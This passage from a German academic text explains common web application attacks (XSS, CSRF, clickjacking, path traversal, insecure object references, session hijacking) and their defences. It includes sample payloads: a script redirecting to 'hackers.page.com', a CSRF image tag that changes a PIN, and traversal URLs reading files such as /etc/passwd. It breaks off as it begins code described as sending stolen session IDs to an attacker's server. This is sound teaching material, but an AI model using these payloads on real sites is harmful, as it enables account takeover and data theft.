narrensicheren Programmieren einer Anwendung, stets alle möglichen Ausführungen eines Weges, Befehls oder einer Eingabe in Betracht zu ziehen. Da es etliche Angriffszenarios gibt, werden in diesem Kapitel nur die häufigsten aufgezeigt und erklärt. 3.1 Unsichere Konfiguration Heute angebotene Web-Software ist oftmals für einen Laien schwer verständlich und bietet sehr viele Konfigurationsmöglichkeiten an. Was die einzelnen Einstellungen genau bewirken, müssen auch viele Experten nachlesen, da sich die Funktionalität mit jeder Aktualisierung immer mehr entfaltet. „Je mehr Funktionalität zur Verfügung steht, desto mehr Angriffsmöglichkeiten eröffnen wir einem potenziellen Angreifer.“ (Kübeck 2011, 187) Standardeinstellungen sind oftmals für Angreifer leicht im Internet nachzurecherchieren, daher sind diese nicht zwingend die Besten und daher ist es ratsam, Standardeinstellungen nicht zu behalten und umgehend alle Einstellungen an das eigene Projekt anzupassen. (Vgl. Kübeck 2011, 187) Betrachtet man beispielsweise den Webserver Tomcat, so ist von den Standardeinstellungen her das Anmeldekonto mit dem Benutzernamen tomcat und dem Passwort tomcat nach der Installation voreingestellt. Die Anmeldekonten kann man in der Datei users.xml nach der Installation einsehen. Ein Angreifer braucht nur noch die voreingestellten Zugangsdaten zu recherchieren und kann zum Beispiel mit Hilfe der Google-Suchmaschine (Sucheingabe „inurl:Begriff“ oder „allinurl:Begriff“ findet Webseiten, die den Suchbegriff im Dateinamen enthalten) eine Anmeldeseite von Tomcat suchen und das Standardanmeldekonto ausprobieren. Dieses Vorgehen könnte dem Angreifer zwar sehr viel Zeit kosten, aber die Wahrscheinlichkeit ist hoch, dass er dadurch einen Webserver findet, den er infiltrieren kann. (Vgl. Kübeck 2011, 188) Wie können Angriffe auf Web-Anwendungen erfolgen? Seite 17 Eine vorgefertigte Allroundlösung für jeden Webserver gibt es nicht, davon abgesehen, dass es unvorstellbar viele Webserver-Software für verschiedene Betriebssysteme gibt! Es gilt, sich über die Funktionen des Webservers zu informieren und passend für das abgezielte Projekt die Einstellungen vorzunehmen. Jede Einstellung, die nicht notwendig oder brauchbar für das Projekt ist, sollte restriktiv deaktiviert werden, um Angriffsmöglichkeiten weitestgehend zu reduzieren. Außerdem sollte eine Web Application Firewall (Verfahren, das Verbindungen auf Anwendungsebene untersucht) installiert und richtig konfiguriert werden, da diese eine Vielzahl von Angriffen erkennen und verhindern kann. 3.2 Cross Site Scripting (XSS) Schwachstellen Cross Site Scripting (XSS) ist eines der häufigsten Angriffsszenarios eines Hackers. Durch falsch oder ungenügend geprüfte und gefilterte Benutzereingaben kann ein Angreifer durch das Abschicken von zusätzlichem Code den Content (Inhalt) der Webseite manipulieren und beliebig verändern, das heißt, sogar Dateien hoch- und herunterladen und in Folge dessen die Website kontrollieren. (Vgl. Kübeck 2011, 123-125; Zalewski 2013, 330; Esser/Kunz 2008, 81-84; Wassermann 2007, 92-97; Niemietz 2012, 42-44) Eingaben und Selektionen eines Besuchers werden mittels einem oder mehreren Formular/en über GET- bzw. POST-Parameter oder über HTTP-Header-Elemente wie Cookies an die nächsten Internetseiten weitergegeben. Sofern die Benutzereingaben nicht auf Skriptsprachen überprüft werden, wird jede der nächsten Webseiten, welche diese Daten erhält und beispielsweise ausgibt, um die Eingaben zu bestätigen, anstatt beispielsweise einen Namen und eine E-Mail-Adresse, ein Skript ausgeben. Bevor das Skript ausgegeben wird, wird es von dem Debugger (= Fehlerüberprüfungswerkzeug) dieser Skriptsprache, wenn ein solcher auf dem Webserver existiert, validiert und verarbeitet und erst dann anschließend geparst (in ein anderes Format übersetzt, in diesem Fall HTML), sofern das Skript keine Fehler enthält. Die übertragenen Daten über GET- oder POST-Parameter können immer dann, wenn sie verwendet werden, den Content der Webseite verändern. Diese veränderten Webseiten sind zwar meistens nur dem angreifenden Besucher ersichtlich, aber es gibt auch persistente XSS Schwachstellen, die sogar jedem Besucher dargestellt werden und jeden Besucher attackieren können. (Vgl. Kübeck 2011, 123-127; Zalewski 2013, 330) Wie können Angriffe auf Web-Anwendungen erfolgen? Seite 18 Beispiel einer persistenten XSS-Schwachstelle mit der Skriptsprache PHP Im folgenden PHP-Skript werden die Gästebucheinträge aus einer Datenbank herausgelesen und dann direkt ausgegeben. <?php // Seitenkopf … // Code zum Auslesen aus Datenbank … while($row = mysql_fetch_assoc($dbresult)) { echo “<tr>”; echo “<td>”.$row[“username“].“<br/>“.$row[“entry_date”].”</td>”; echo “<td>”.$row[“entry_text”].”</td>”; echo “</tr>”; } // Seitenfuß … ?> Abb. 1.1: Einträge aus MySQL-Datenbank abrufen (Wassermann 2007, 93) Wenn man davon ausgeht, dass die Eingaben nicht geprüft und maskiert wurden, so wäre ein möglicher Angriff die Absendung des folgenden Codes in eines der Textfelder: <script type=“text/JavaScript“> top.location.href = „http://hackers.page.com“; </script> Abb. 1.2: Einschleusen von Code (Wassermann 2007, 93) Dadurch würde jeder Besucher umgehend, nachdem der Gästebucheintrag geladen wurde, auf die Webseite “http://hackers.page.com” umgeleitet werden. 3.3 Cross Site Request Forgery (CSRF) Cross Site Request Forgery (CSRF, XSRF oder „Sea-Surf“) zählt ebenfalls zu den ältesten bekannten Schwachstellen von Webanwendungen. Dabei spielen Loginseiten eine wichtige Rolle. Benutzer, die ein legitimes Loginkonto besitzen, werden dazu gebracht, mit ihrem eigenen Konto angemeldet bestimmte Aktionen auf der Website des Anmeldekontos durchzuführen, z.B. Geld transferieren, Passwörter ändern, etc. Dieser Angriff erfolgt meistens ohne Konsens des Opfers. Sofern die Webanwendung keinen Schutz vor CSRF-Attacken bietet, können Angreifer mit geringem Aufwand die Konten der Opfer indirekt verwenden. (Vgl Kübeck 2011, 137-138; Niemietz 2012, 42; Zalewski 2013, 330; Esser/Kunz 2008, 112-114) Wie können Angriffe auf Web-Anwendungen erfolgen? Seite 19 Ein Browser nutzt Tabs, sprich neue Fenster um mehrere Seiten parallel öffnen und anzeigen zu können. Browser sind so konstruiert, dass sich die eigene Website und eine externe, aber beispielsweise in einem Frame geöffnete Website im Prinzip nicht gegenseitig beeinflussen können, d.h. kann man mittels Javascript nicht auf den Inhalt einer geöffneten anderen Seite zugreifen (Same Origin Policy). (Vgl. Kübeck 2011, 137; Esser/Kunz 2008, 113-114; Niemietz 2012, 41-42; Kliewe01) Wenn man sich nun in die externe Seite jedoch einloggt und dann ein neues Browserfenster öffnet mit derselben URL der externen Seite, so ist man postum eingeloggt. Beide Browserfenster benutzen dieselben Cookies und deswegen stimmen die Rechte. Das machen sich Angreifer zu Nutze in dem sie beispielsweise GET-Variablen eines Formulars missbrauchen. Dadurch können sie mit Hilfe von wenigen Zeilen HTML-Code, den sie in einer eigenen Website einbauen oder in eine seriöse Website einschleusen, die Login-Session eines legitimen Benutzers missbrauchen um in seinem Namen Aktionen auf der externen Website durchzuführen. (Vgl. Kliewe01) Es gibt mehrere Angriffswege, die einen Angreifer das Ausnutzen solcher CSRFSchwachstellen ermöglichen können. Einerseits könnte ein Hacker auf dem Computer des Opfers eine Schadsoftware installieren, mit der er beliebig den Computer und den Browser des Opfers steuern könnte bzw. insgeheim könnte die Schadsoftware unauffälig, sobald der Benutzer sich angemeldet hat, mit einem versteckten Browserfenster bestimmte Webseiten aufrufen und so das Konto des Opfers verwenden. (Vgl. Thomaschewski) Andererseits könnte ein Hacker eine präparierte Webseite erstellen, in der er versteckte Skripte einbaut. Die Skripte führen gewisse Aktionen sofort nach Aufruf der präparierten Seite durch, sofern der Benutzer bei der Ziel-Website noch angemeldet ist. Den Link der präparierten Webseite müsste der Hacker nur verbreiten bzw. weiterschicken und abwarten bis er die Resultate erhält. Der zu verschickende Link muss natürlich seriös wirken und wird oft durch eine Weiterleitung verfremdet. (Vgl. Thomaschewski) Es wäre ebenso möglich, nur die Skripte der präparierten Webseite durch eine persistente Wie können Angriffe auf Web-Anwendungen erfolgen? Seite 20 XSS-Schwachstelle zu verbreiten. Viele Angriffsmöglichkeiten lassen sich oft beliebig kombinieren. (Vgl. Thomaschewski) Beispiel eines CSRF-Angriffs <img src=”http://www.demobank.com/ChangePIN.jps?newPin=example“> Abb. 2: Beispiel eines CSRF-Angriffs (Kübeck 2011, 137) Ein Beispiel wäre das simple Einbauen eines Elements, das eigentlich ein Bild darstellen sollte. Obwohl kein Bild durch diese URL erfasst werden kann, werden die Seite und der damit zusammenhängende Befehl vom Browser des Besuchers erfolgreich aufgerufen. Sofern der Besucher in der betroffenen Website eingeloggt ist und die Website nicht geschützt ist, werden automatisch mit dem Account des Besuchers ungewollt Spamnachrichten verschickt oder andere Aktionen ausgeführt. Dabei ist es für einen Angreifer durchaus nützlich das keine Fehlermeldung oder ähnliches angezeigt wird, da sowohl falsche HTML-Tags als auch falsche HTML-Aufrufe schlichtweg von jedem Browser ignoriert werden und in diesem Fall visuell nichts zurückgegeben wird. Natürlich ist es Hackern mit dieser Methode möglich das Passwort oder andere Accountdaten zu ändern, falls das Loginsystem das erlaubt und keine weiteren Sicherheitsmaßnahmen dem entgegenwirken können, wie zum Beispiel das Verifizieren einer Änderung durch einen Link der an die E-Mail des Benutzers versendet wird oder eine Sicherheitsfrage. Um als Webseitenbetreiber einen CSRF-Schutz einzubauen muss sichergestellt werden, dass Webseitenaufrufe nur von der eigenen Website kommen können. Verständlicherweise ist das ein durchaus schweres Unterfangen, aber es lässt sich durch richtige Konfiguration des Webservers und der Web Application Firewall weitestgehend bewerkstelligen. Das Problem dabei ist, das zwar der Referrer dazu überprüft werden kann (dieser müsste die eigene Domain enthalten), aber alle Daten die vom Client kommen sich fälschen und manipulieren lassen. Daher kann ebenso wenig auf Cookies vertraut werden. Es lässt sich keine narrensichere Lösung finden. Der einzige annehmbare Schutz scheint jeden Link und jedes Formular um einen versteckten Token (eine Zufallszahl) zu ergänzen, der dynamisch generiert wird und begrenzt haltbar, schwer erratbar und nur dem Webadministratoren bekannt sein muss. Außerdem wird damit als kleiner Nebeneffekt das doppelte Absenden von Formularen unterdrückt. Außerdem sollte darauf geachtet werden, dass das lokale System virenfrei ist. Andere Mög- Wie können Angriffe auf Web-Anwendungen erfolgen? Seite 21 lichkeiten, die ein erster Schutz sein können, aber das Risiko eines CSRF-Angriffs nicht wesentlich mindern, sind nur POST-Anfragen zu verwenden, da die meisten CSRF-Angriffe GET-Variablen fokussieren, und alle externen Quellen genau zu überprüfen. Um als Besucher kein Opfer eines CSRF-Angriffs oder einer XSS-Schwachstelle zu werden, empfiehlt es sich zum Beispiel das Addon NoScript für Firefox zu verwenden. (Vgl. Kübeck 2011, 140; Esser/Kunz 2008, 116-119; Kliewe01; Thomaschewski) 3.3.1 Clickjacking und Weiterleitungen Weiterleitungen werden nicht nur bei XSS- und CSRF-Schwachstellen ausgenutzt, sondern können bei vielen verschiedenen Angriffsmethoden verwendet werden. Tatsächliche externe Weiterleitungen von bekannten Websites werden gerne von Angreifern genutzt, um auf ihre präparierte Website umzuleiten. Bei Links von größeren Internetportalen hegen die meisten Benutzer kaum Zweifel und öffnen es sogleich, daher verspricht sich ein Angreifer dadurch viele Besucher auf seine Webseite zu bekommen. Das unten genannte Beispiel sollte zwar eine Warnung anzeigen, doch wenn das nicht der Fall ist, könnten viele diese externe Weiterleitung verwenden, um auf ihre präparierten Internetseiten oder sogar PhishingSeiten umzuleiten. Daher ist es immer ratsam bei externen Weiterleitungen, die beliebig verwendet werden können, dem Besucher einen Hinweis anzuzeigen oder am besten überhaupt keine zu erstellen. (Vgl. Kübeck 2011, 165-166) Beispiele für externe Weiterleitungen http://www.facebook.com/l.php?u=http://www.google.at&h=PAQGhohj3&s=1 www.facebook.com/l.php?u=%67%6F%6F%67%6Ce%2E%61%74%2Fin%74%6C%2Fde%2F%6Fp%74i%6F ns%2F&h=PAQGhohj3&s=1 http://bit.ly/b9pawC Abb. 3: Beispiele für externe Weiterleitungen Jede beliebige Seite kann anstelle von „http://www.google.at“ eingegeben werden. Links, die vorher mit der PHP-Funktion „urlencode“ enkodiert wurden, sind für einen Laien noch schwerer zu lesen und werden noch wahrscheinlicher für seriös und legitim gehalten. Dies soll der zweite Link beweisen. Das Zeichen „%2F“ bedeutet decodiert einen Slash („/“) und verschleiert, dass zum Beispiel auf einen Unterordner oder eine direkte Datei in der eingesetzten Website umgeleitet wird. Mit der Prozentkodierung kann man auch Buchstaben und alle in einer URL möglichen Zeichen enkodieren. Übersetzt heißt der zweite Weiterleitungslink Wie können Angriffe auf Web-Anwendungen erfolgen? Seite 22 „www.facebook.com/l.php?u=google.at/intl/de/about/products/&h=PAQGhohj3&s=1“. Viele Spam-E-Mails und Angriffe auf Web-Anwendungen verwenden gerne solche externe Weiterleitungen oder Kurz-URL-Dienste, die lediglich eine Weiterleitung zur spezifizierten Website generieren, wie man im dritten Beispiel sehen kann. Solche Weiterleitungen wirken aber meistens nicht so seriös wie externe Weiterleitungen von bekannten Websites, da sie zu sehr an Popularität gewonnen haben. Eine Angriffsmethode, die den Besucher einer Website austrickst, ausnutzt und oft externe Weiterleitungen oder andere Link-Verschleierungsmethoden verwendet, ist vor allem das so genannte „Clickjacking“ (= Click Hijacking – „Mausklick-Entführung“), ein weiterer CSRFAngriff. Es existieren zahlreiche Varianten des „Clickjacking“ wie Likejacking, Sharejacking, Cursorjacking, Filejacking, Cookiejacking, Tapjacking usw. Diese Varianten gehen aber alle vom klassischen Clickjacking aus. Daher wird in diesem Kapitel nur auf dieses eingegangen. (Vgl. Niemietz 2012, 61-62) Das klassische Clickjacking ist nur durch eine präparierte Webseite eines Hackers zu bewerkstelligen. In dieser präparierten Webseite werden Skripte versteckt, die durch einen Mausklick auf ein Objekt in der Webseite ausgelöst werden und bestimmte Aktionen mit den Daten des Besuchers durchführen. (Vgl. Niemietz 2012, 63-70; Kübeck 2011, 142-145) Zum Beispiel öffnet ein Besucher, der sich zuvor bei einer Bankseite angemeldet hat und noch immer angemeldet ist, eine externe Weiterleitung, die ihn auf die präparierte Webseite des Hackers führt. Mit einem Klick auf einen Button mit dem Text „Urlaubsfotos laden“ oder sonstiges erwartet sich zwar der Besucher, dass nur genau dies geschieht, aber in Wirklichkeit löst der Mausklick auf diesen vermeintlichen Button ein Skript aus, das die Bankseite in einem versteckten I-Frame aufruft und beispielsweise eine Transaktion auf das Konto des Hackers bestätigt. Ein I-Frame ist zwar keine Weiterleitung in dem Sinne, fungiert aber beim Clickjacking als Weiterleitungsmedium, um nach einem Mausklick im Hintergrund diverse Aktionen durchzuführen, ohne die Hauptwebsite wechseln zu müssen, weil das viel zu auffällig wäre. Möglicherweise, aber nicht zwingend immer der Fall werden mitunter tatsächlich diverse Fotos geladen und angezeigt, damit der Besucher gar keinen Verdacht schöpft. Um Clickjacking zu verhindern, reicht es, wenn man verhindert, dass die eigene Website in einem Frame geöffnet werden kann. Das lässt sich durch sogenannte „Frame- Wie können Angriffe auf Web-Anwendungen erfolgen? Seite 23 busting-Codes“ bewerkstelligen, die es in verschiedenen Ausführungen gibt. (Vgl. Kübeck 2011, 146-148; Niemietz 2012, 129-135 und 151-154) 3.4 Path-Traversal-Schwachstellen Nicht selten kommen auch Path-Traversal-Schwachstellen in Upload- oder Downloadskripten zum Vorschein. Dabei werden Pfadangaben verwendet, die es einem Angreifer erlauben, auf Inhalte in anderen Verzeichnissen zuzugreifen, auf die er explizit nicht zugreifen dürfte. Leider funktioniert dieser Angriff, auch wenn die eigenen Verzeichnisse und wichtigen Daten mit einer .htaccess/.htpasswd Datei (= Konfigurationsdateien eines Apache-Webservers, mit denen Zugriffe verwaltet werden können) geschützt sind, da es ein serverbasierter Angriff ist und der Server selbst natürlich auf alle Inhalte zugreifen kann und darf. (Vgl. Kübeck 2011, 162-165; Zalewski 2013, 335) Die eingesehenen Inhalte könnten sensible Daten wie Passwörter enthalten und einem Hacker weitere Angriffe und die Übernahme des Webservers sehr erleichtern. Bei solchen Schwachstellen ist anzumerken, dass oft die Pfadangaben “../“ oder “./“ verwendet werden, um in der Verzeichnisstruktur ein Verzeichnis zurückzugelangen oder im selben Verzeichnis der Ausgangsdatei zu navigieren. Diese relativen Angaben funktionieren in jeder Verzeichnisstruktur und sind auch von großem Nutzen, wenn man nicht eine absolute Pfadangabe für externe Dokumente oder Dateien angeben möchte, was vor allem bei Skripten oder Webseiten, die auf mehreren Servern mit unterschiedlichen Namen hochgeladen werden, sehr praktisch ist, da man alle Pfadangaben nicht noch extra anpassen muss. (Vgl. Kübeck 2011, 162-165; Zalewski 2013, 335) Beispiel einer Path-Traversal-Schwachstelle Angenommen ein Angreifer kopiert einen Downloadlink eines Skripts und erkennt, dass das Skript nur abhängig vom Pfad der Datei ist. Abb. 4.1: Kopieren eines Downloadlinks Zum Beispiel lautet der Link: www.worker.square7.ch/scripts/download/index.php?datei=Deutsch/1.jpg Abb. 4.2: Die kopierte URL Wenn der Angreifer testen möchte, ob eine Path-Traversal-Schwachstelle vorliegt, sieht er sich zunächst einmal das Download-Skript selbst an. Das macht er unter anderem nicht nur Wie können Angriffe auf Web-Anwendungen erfolgen? Seite 24 um einen Path-Traversal-Angriff zu testen, sondern auch um gleichzeitig feststellen zu können, wo das Verzeichnis „Deutsch“ tatsächlich ist, da der Ordner „Deutsch“ nicht zwingend in „www.worker.square7.ch/scripts/download/Deutsch“ liegen muss! Durch folgenden Link versucht er das Download-Skript herunterzuladen. www.worker.square7.ch/scripts/download/index.php?datei=../../../../../../../../../../../../../../scripts/download/index.php Abb. 4.3: Ausnutzen einer Path-Traversal-Schwachstelle durch Aufrufen einer URL Er verwendet die Pfadangabe “../“ so oft wie nötig hintereinander, um vom unbekannten Verzeichnis, egal wie tief die Verzeichnisstruktur ist, herauszukommen, bis er im Hauptverzeichnis ist. Da er nicht weiter als zum Hauptverzeichnis herausnavigieren kann, landet er, wenn die Zahl der Wiederholungen zu hoch angesetzt ist, trotzdem im Hauptverzeichnis! Da der Abb. 4.4: Herunterladen des Download-Skripts Angreifer nicht wissen kann, wie tief das unbekannte Verzeichnis ist, in dem der Ordner „Deutsch“ liegt, wiederholt er demnach diese Pfadangabe im Link so oft wie er möchte, es muss nur schließlich öfter oder gleich oft vorkommen wie die Zahl, die der Tiefe der unbekannten Verzeichnisstruktur entspricht. Vom Hauptverzeichnis aus greift er dann auf die Datei „index.php“ im Ordner „scripts/download“ zu, in der sich das eigentliche Download-Skript befindet. Sollte die Website tatsächlich die Pfadangabe nicht gut genug prüfen und Path-TraversalAngriffe verhindern, so kann er das Skript tatsächlich herunterladen. Falls das funktioniert hätte und er nun feststellen konnte, wo der Ordner Abb. 4.5: Ansicht einer robots.txt-Datei „Deutsch“ tatsächlich liegt, zum Beispiel in www.worker.square7.ch/files/pub/uploads, würde der Angreifer als nächstes die robots.txtDatei im Hauptverzeichnis der Website (www.worker.square7.ch/robots.txt) öffnen wollen, um eventuell geschützte Websiteinhalte zu finden. Die robots.txt-Datei gibt, an welche Verzeichnisse oder Websiteinhalte von Suchmaschinen nicht indiziert/erfasst werden dürfen. Wie können Angriffe auf Web-Anwendungen erfolgen? Seite 25 Viele Webadministratoren schützen mitunter wichtige Bereiche ihrer Website mit dieser Methode. Wenn der Angreifer nun beispielsweise die Datei „modbereich.php“ herunterladen möchte, um zu sehen, wie der Loginbereich aufgebaut ist und eventuell auf Passwörter zu schließen, bräuchte er nur den obigen Link des Skripts dahingehend anzupassen. Das macht er mit folgendem Link: www.worker.square7.ch/scripts/download/index.php?datei=../../../mods/modbereich.php Abb. 4.6: Herunterladen einer Datei, die in der robots.txt-Datei aufgeführt ist Er verwendet die Pfadangabe „../../../“, um von den Verzeichnissen „files/pub/uploads“ heraus zum Hauptverzeichnis zu navigieren, da laut der robots.txt-Datei „/mods/modbereich.php“ im Hauptverzeichnis liegt. 3.5 Unsichere direkte Objektreferenzen Oft kommt es vor, dass Webseiteninhalte (Foto-, Video-, Audiodateien …) nur für angemeldete Besucher ersichtlich sein sollen, aber diese Objekte direkt referenziert werden. Direkt referenziert heißt beispielsweise mit einem eindeutigen Dateipfad oder eine eindeutige Zahlenfolge oder Code von der Datenbank versehen. Angreifer können aber solche Werte ändern und durch Ausprobieren auf andere Inhalte schließen, auf die sie als nicht angemeldeter Besucher keinen Zugriff haben sollten. (Vgl. Kübeck 2011, 159) Es gibt mehrere Möglichkeiten, einen Angreifer davon abzuhalten, solche Inhalte durch Probieren zu finden. Eine Möglichkeit wäre, die direkten Objektreferenzen durch indirekte zu ersetzen. „Jeder Besucher bekommt dann eine andere Referenz auf ein und dasselbe Objekt und bei der Darstellung werden die indirekten in direkte Referenzen umgewandelt.“ (Kübeck 2011, 162) Es wäre außerdem möglich, URL-IDs (z.B. index.php?id=0001) durch sogenannte „Slugs“ („friendly urls“ oder „permalinks“; sind eindeutige Texte) zu ersetzen. Slugs bringen viele Vorteile mit sich, zum Beispiel wird nicht nur das Erraten erschwert, sondern Links werden dadurch auch kürzer und leichter lesbar und eventuell durch Stichwörter der Slugs in Suchmaschinen eingetragen. (Vgl. Jellinek) Wie können Angriffe auf Web-Anwendungen erfolgen? Seite 26 Slugs lassen sich durch die Eingabe folgender Befehle in der „.htaccess“-Datei festlegen: RewriteEngine on RewriteRule ^download/([-a-z]+) get_item.php?file=$1 Abb 5.1: Die URL-ID „file“ durch einen Slug in der htaccess-Datei ersetzen (Vgl. Jellinek) Dadurch könnte beispielsweise ein Aufruf von „download/get_item.php?file=beispiel-text“ durch einen Aufruf von „download/beispiel-text“ ersetzt werden. Außerdem ist immer davon abzuraten einen Dateinamen in der URL-ID anzugeben, da solche Angaben einem Angreifer die Arbeit wesentlich erleichtern, sofern keine Maßnahmen gegen Path-Traversal-Angriffe ergriffen wurden. (Vgl. Jellinek) Beispiele unsicherer direkter Objektreferenzen 1) www.worker.square7.ch/scripts/download/index.php?datei=Deutsch/1.jpg 2) www.worker.square7.ch/scripts/download/index.php?datei=D001 3) www.worker.square7.ch/scripts/gallery/show.php?img=D001.jpg 4) www.worker.square7.ch/scripts/gallery/show.php?img=D001.jpg&text=D001.txt Abb 5.2: Beispiele von URL-ID’s, die von einem Angreifer ausgenutzt werden können Diese URL-IDs können von einem Angreifer verändert werden und durch Ausprobieren kann auf gültige Dateien geschlossen werden. So würde womöglich ein Angreifer vorgehen, um einen neuen Inhalt zu erraten: 1) www.worker.square7.ch/scripts/download/index.php?datei=Deutsch/2.jpg 2) www.worker.square7.ch/scripts/download/index.php?datei=D002 3) www.worker.square7.ch/scripts/gallery/show.php?img=D002.jpg 4a) www.worker.square7.ch/scripts/gallery/show.php?img=D002.jpg&text=D002.txt 4b) www.worker.square7.ch/scripts/gallery/show.php?img=D002.jpg&text=/etc/passwd Abb 5.2: Mögliche Vorgehensweise eines Angreifers um auf andere Daten zu stoßen 3.6 Das Passwort-Dilemma Ein großes Problem stellt die Nachrichtenübermittlung und Kryptographie bei WebAnwendungen dar. Es ist durchaus schwer, eine geeignete Chiffrierung zu finden, die Angreifer nicht mit wenigen Schritten sogleich dekodieren können. Es ist zwar ratsam, öffentlich bekannte und gut getestete kryptographische Verfahren zu benutzen, aber ein Angreifer kann Wie können Angriffe auf Web-Anwendungen erfolgen? Seite 27 dieselben ebenfalls anwenden, da sie bekannt sind. (Vgl. Kübeck 2011, 85) Tatsächlich lässt dieses Problem sogar viele Experten grübeln, da ein Restrisiko immer bleibt. Derzeit scheint es für private Websites noch immer am leichtesten zu sein, mehrere Verschlüsselungsverfahren in Folge zu kombinieren, da es bereits eine Vielzahl von Verschlüsselungsmethoden gibt und es schwer ist, ein neues Verfahren zu entwerfen, das es zuvor noch nicht gegeben hat, und dabei vieles schiefgehen kann. Je länger ein Schlüssel ist, desto sicherer ist er. Ein langer Schlüssel ist für einen Angreifer schwer zu erraten und würde entsprechend der Anzahl der Möglichkeiten und der Rechenleistung eines Computers auch lange Zeit in Anspruch nehmen, durch einen Brute-Force-Angriff (Angriff, der alle Möglichkeiten der Reihe nach durchgeht) ermittelt zu werden. Daher ist es immer gut, Besucher bei einer Registrierung darauf hinzuweisen und zum Beispiel mit einem Javascript die Eingabe des Passworts nach der Stärke zu kommentieren. Um Brute-ForceAttacken zu erschweren, kann nach einer bestimmten Anzahl von Anmeldeversuchen der Zugriff auf das Anmeldeformular für die IP-Adresse des Besuchers eine Zeit lang gesperrt werden. Es ließe sich auch einrichten, dass die Sperrzeit umso länger angesetzt wird, je öfter dieses Verhalten beim gleichen Besucher auftritt. Dadurch werden Brute-Force-Attacken zwar nicht verhindert, doch die Zeit, um alle Möglichkeiten auszuprobieren, erheblich erhöht. (Vgl. Kübeck 2011, 86-87) Eine weitere effektive Maßnahme, die Brute-Force-Attacken sogar aushebeln könnte, ist, die Passwörter nach einem bestimmten Zeitintervall zu ändern. Eine Brute-Force-Analyse kann nicht wissen, wann das Passwort geändert wurde und hat womöglich den Wert des neuen geänderten Passworts schon versucht und verworfen. Somit besteht die geringe Möglichkeit, dass eine vollständig abgelaufene Brute-Force-Attacke sogar keine Ergebnisse liefert. Dabei gilt, je kürzer das Zeitintervall für die Änderung des Passworts angesetzt wird, desto schwerer gestaltet es sich, ein gültiges Passwort durch Raten zu finden. Da es wohl viele Besucher ärgern würde und schwer möglich ist, die eigenen Besucher dazu bewegen, ihr eigenes Passwort täglich, wöchentlich oder monatlich zu ändern, ist diese Maßnahme für viele Webadministratoren nur Utopie. Wie können Angriffe auf Web-Anwendungen erfolgen? Seite 28 Schließlich gibt es viele Wege und Möglichkeiten, Passwörter mit PHP oder anderen Skript sprachen zu schützen und entsprechend sicher zu verschlüsseln. Es muss lediglich die passende Variante, die sich mit dem Benutzerkomfort und der Sicherheit gleichermaßen verträgt, gefunden werden. „Nicht jeder Lösungsweg ist immer praktikabel, versuchen Sie also keinesfalls jedes Risiko auf Biegen und Brechen zu beseitigen – ein Restrisiko bleibt immer bestehen.“ (Wassermann 2007, 97) 3.7 Session-Hijacking Wenn trotz aller Schutzmaßnahmen sich irgendwo eine XSS-Schwachstelle befindet, kann diese von einem Angreifer unter anderem für das sogenannte Session-Hijacking missbraucht werden. Session-Hijacking ist ein sehr unterschätzter Angriff. Wie der Name dieses Angriffs schon sagt, kommt es bei falscher Benutzung und Validierung von Sessions bzw. CookieDaten zum Diebstahl einer Loginsitzung und aller Zugangsmöglichkeiten dieses Kontos. Falls einem Hacker dieser Angriff bei einem Admin-Konto gelingen würde, so könnte er das ganze System einer Website kontrollieren bzw. die Website selbst kontrollieren und verändern. Ein Cookie ist eine lokale Textdatei, welche Zugangsdaten wie unter anderem die Session-ID zu einer Website für eine gewisse Zeit lang gespeichert bereit hält. Kann ein Angreifer die Session-ID eines angemeldeten Besuchers herausfinden, so braucht er diese nur noch in seinen Cookie zu kopieren und kann dann praktisch im Namen des Opfers auf der Website surfen. (Vgl. Kübeck 2011, 152-153; Niemietz 2012, 46 -47; Esser/Kunz 2008, 180-181; Wassermann 2007, 52) Wie bei vielen anderen Angriffen gibt es auch hier verschiedene Möglichkeiten, SessionHijacking zu betreiben. Wie bereits erwähnt wäre es mit einer persistenten XSS-Schwachstelle relativ einfach, an Cookie-Daten eines Besuchers zu kommen. Durch ein Skript wird die Session-ID z.B. mit Javascript über den Befehl „document.cookie“ oder mit PHP über den Befehl „session_id()“ bzw. „$_COOKIE["PHPSESSID"]“ ermittelt und an den Hacker weitergeleitet. Ein anderer Weg an eine Session-ID zu gelangen sind Foren oder Posts von Laien, die unbewusst einen Link kopiert und weitergegeben haben, der ihre Session-ID enthält (z.B. www.beispiel.de/index.php?PHPSESSID=7u6i8rfg564zegtjap53otlkeg). Außerdem würde Wie können Angriffe auf Web-Anwendungen erfolgen? Seite 29 sich auch eine Schadsoftware, die lokal gespeicherte Cookies einem Angreifer übermittelt, für ein Session-Hijacking anbieten. Die meisten versierten Hacker würden aber Angriffe bevorzugen, bei denen sie keine Spuren hinterlassen. Durch Sniffing sammeln solche Angreifer notwendige Informationen. Bei unverschlüsselten Protokollen (HTTP, Telnet, FTP, POP3, …) geschieht das direkt über den Zugriff auf ein Netzwerkkabel oder eine öffentliche WLANVerbindung oder indirekt durch einen Man-in-the-Middle-Angriff (Angriff, bei dem die Kommunikation auf den Computer des Angreifers umgeleitet wird). Bei einer verschlüsselten Datenübertragung müsste die Verschlüsselung zuerst geknackt werden. (Vgl. Esser/Kunz 2008, 180-181; Wassermann 2007, 53) Beispiel eines Session-Hijackings anhand einer persistenten PHP-XSS-Schwachstelle Angenommen, es wurde persistenter PHP-Code durch eine XSS-Schwachstelle eingeschleust: Es ist vollkommen egal, wo sich das eingeschleuste Skript auf der Ausgangswebsite befindet, es müsste lediglich vom angemeldeten Besucher aufgerufen werden. Cookies werden lokal gespeichert und die oben erklärten Befehle holen sich nur die Session-IDs bzw. die Werte eines einzelnen Cookies mit vordefiniertem Namen für eine Domäne. Bei beispielsweise einer PHP-Session heißt dieser Cookie immer “PHPSESSID“. Es gibt keine andere Möglichkeit, von einer Ausgangswebsite Cookies von einer anderen Website auszulesen als die Cookies lokal beim Besucher auszulesen, da dies zu viele Sicherheitslücken öffnen würde. Außerdem gibt es keine Cookies mit doppelten Namen. Soll ein neuer Cookie mit demselben Namen erstellt werden (z.B. bei einer Anmeldung), werden die Werte des Doppelgängers nur überschrieben, aber kein neuer Cookie mit demselben Namen erstellt. Man beachte das in den folgenden Beispielen „session_id()“ und „$_COOKIE["PHPSESSID"]“, die demnach dieselben Werte liefern, nämlich die gesuchte Session-ID des Cookies „PHPSESSID“, und daher eine der beiden Funktionen gewählt werden darf. Mit diesem Wissen könnte ein Angreifer folgenden Code verwenden, um die Session-IDs vieler Besucher lokal in eine Textdatei zu speichern und auf seinen eigenen Server übertragen zu lassen. 4 … // Alle Aufrufe werden mit @ unterdrückt, damit keine möglichen Fehlermeldungen dem // Opfer angezeigt werden! // Neue gestohlene Information in eine Variable speichern und FTP-Übertragungsmodus wählen $sid = 